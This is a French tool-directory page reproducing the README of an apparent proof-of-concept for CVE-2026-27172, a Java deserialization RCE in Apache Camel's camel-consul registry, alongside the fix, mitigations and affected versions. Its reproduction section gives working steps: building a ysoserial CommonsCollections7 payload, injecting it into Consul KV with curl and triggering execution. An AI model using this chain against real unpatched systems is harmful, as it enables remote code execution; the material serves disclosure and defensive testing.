Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-27172 — Reproducteur pour CVE-2026-27172 : désérialisation Java de ConsulRegistry camel-consul d'Apache Camel (RCE) | Kitploit
Outils/GitHubGitHub/oscerd/cve-2026-27172
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHuboscerd/cve-2026-27172

CVE-2026-27172

Reproducteur pour CVE-2026-27172 : désérialisation Java de ConsulRegistry camel-consul d'Apache Camel (RCE)

Voir le dépôt
2il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

camel-consul ConsulRegistry – Reproducteur de la vulnérabilité de désérialisation (CVE-2026-27172)

Ce projet démontre une vulnérabilité de désérialisation Java dans le composant camel-consul d'Apache Camel (ConsulRegistry), référencée sous le nom CVE-2026-27172. Il s'agit du même type de problème que CVE-2024-22369, CVE-2024-23114 et CVE-2026-25747, et a été négligé lors de la correction initiale de ces CVE.

Advisory: https://camel.apache.org/security/CVE-2026-27172.html

Résumé de la vulnérabilité

PropriétéValeur
Composantcamel-consul
Classe affectéeorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
Méthodes vulnérableslookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502 : Désérialisation de données non fiables
ImpactExécution de code à distance (RCE)
Versions affectéesDe 3.0.0 avant 4.14.6, et de 4.15.0 avant 4.18.1
Versions corrigées4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

Détails techniques

ConsulRegistry utilise le magasin clé/valeur Consul comme registre Camel. Lorsqu'un bean est recherché par nom, la valeur stockée est décodée en Base64 et désérialisée avec un ObjectInputStream brut et, dans les versions affectées, aucun ObjectInputFilter :

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

Tout objet stocké dans le magasin KV Consul sous une clé que Camel recherche ultérieurement est désérialisé. Un attaquant qui peut écrire dans ce chemin KV peut placer une charge utile de chaîne de gadgets qui s'exécute lors de la recherche dans le registre.

Prérequis

  • Java 17+
  • Maven 3.8+
  • Un agent Consul en cours d'exécution (magasin KV) — par ex. via Docker
  • ysoserial (pour la génération de charges utiles)

Étapes de reproduction

Étape 1 : Démarrer Consul

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

Étape 2 : Construire et démarrer l'application

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Étape 3 : Initialiser la clé de registre

root@kitploit:~
curl http://localhost:8080/exploit/init

Étape 4 : Générer une charge utile malveillante

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (preuve bénigne : créer un fichier). Utilisez "open -a Calculator" sur macOS, "calc.exe" sur Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry stocke des objets sérialisés encodés en Base64, donc la charge utile est fournie en Base64.

Étape 5 : Injecter la charge utile dans Consul KV

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

Étape 6 : Déclencher la désérialisation (RCE !)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() lit la valeur KV, la décode en Base64 et la désérialise — exécutant ainsi la chaîne de gadgets.

Étape 7 : Vérifier l'exploitation

root@kitploit:~
ls -la /tmp/pwned

Si le fichier /tmp/pwned existe, l'exploit a réussi.

Vecteurs d'attaque

La vulnérabilité se déclenche chaque fois que le registre résout un bean :

  1. Références de bean — .to("bean:..."), bean(...), .process("...") par nom appellent tous lookupByName().
  2. Résolution au démarrage — beans résolus lors de la construction des routes.
  3. Recherches par type — findByType() / lookupByNameAndType() parcourent les entrées KV et les désérialisent.

Conditions d'exploitation

  1. Accès en écriture au magasin KV Consul qui soutient le registre :
    • Un cluster Consul partagé ou mal configuré
    • Un jeton ACL Consul compromis / aux droits trop étendus
    • Une autre vulnérabilité fournissant une primitive d'écriture KV
  2. Une bibliothèque de gadgets dans le classpath :
    • commons-collections:3.2.1 (gadgets CommonsCollections1-7)
    • Beaucoup d'autres (voir ysoserial)

Comparaison avec les CVE apparentées

AspectCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
Magasin de sauvegardeTable CassandraFichier LevelDBMagasin KV Consul
ObjectInputFilter (avant correction)aucunaucunaucun
CorrectionListe blanche ObjectInputFilterListe blanche ObjectInputFilterListe blanche ObjectInputFilter
JIRACAMEL-20306CAMEL-22821CAMEL-23029

Correction recommandée

La correction (CAMEL-23029) ajoute un ObjectInputFilter configurable (par défaut java.**;org.apache.camel.**;!*) à ConsulRegistryUtils.deserialize, et expose une option deserializationFilter pour que les classes de confiance puissent être autorisées :

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

Atténuation

En attendant la mise à jour vers une version corrigée :

  1. Restreindre l'accès en écriture KV Consul à l'identité propre de l'application Camel (jetons ACL de moindre privilège).
  2. Supprimer les bibliothèques de gadgets : mettre à jour ou supprimer les bibliothèques vulnérables telles que commons-collections 3.x.
  3. Segmentation réseau : isoler le cluster Consul sur un réseau de confiance.

Fichiers

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Configuration Maven (version affectée de camel-consul)
├── README.md                        # Ce fichier
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Point d'entrée Spring Boot
    │   ├── ConsulRegistryRoute.java  # Route Camel (désactivée ; montre l'utilisation réelle)
    │   └── ExploitController.java    # Points de terminaison REST pour la PoC
    └── resources/
        └── application.properties

Avertissement

Ce reproducteur est fourni à des fins de recherche en sécurité et de tests autorisés uniquement, pour une vulnérabilité divulguée publiquement et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil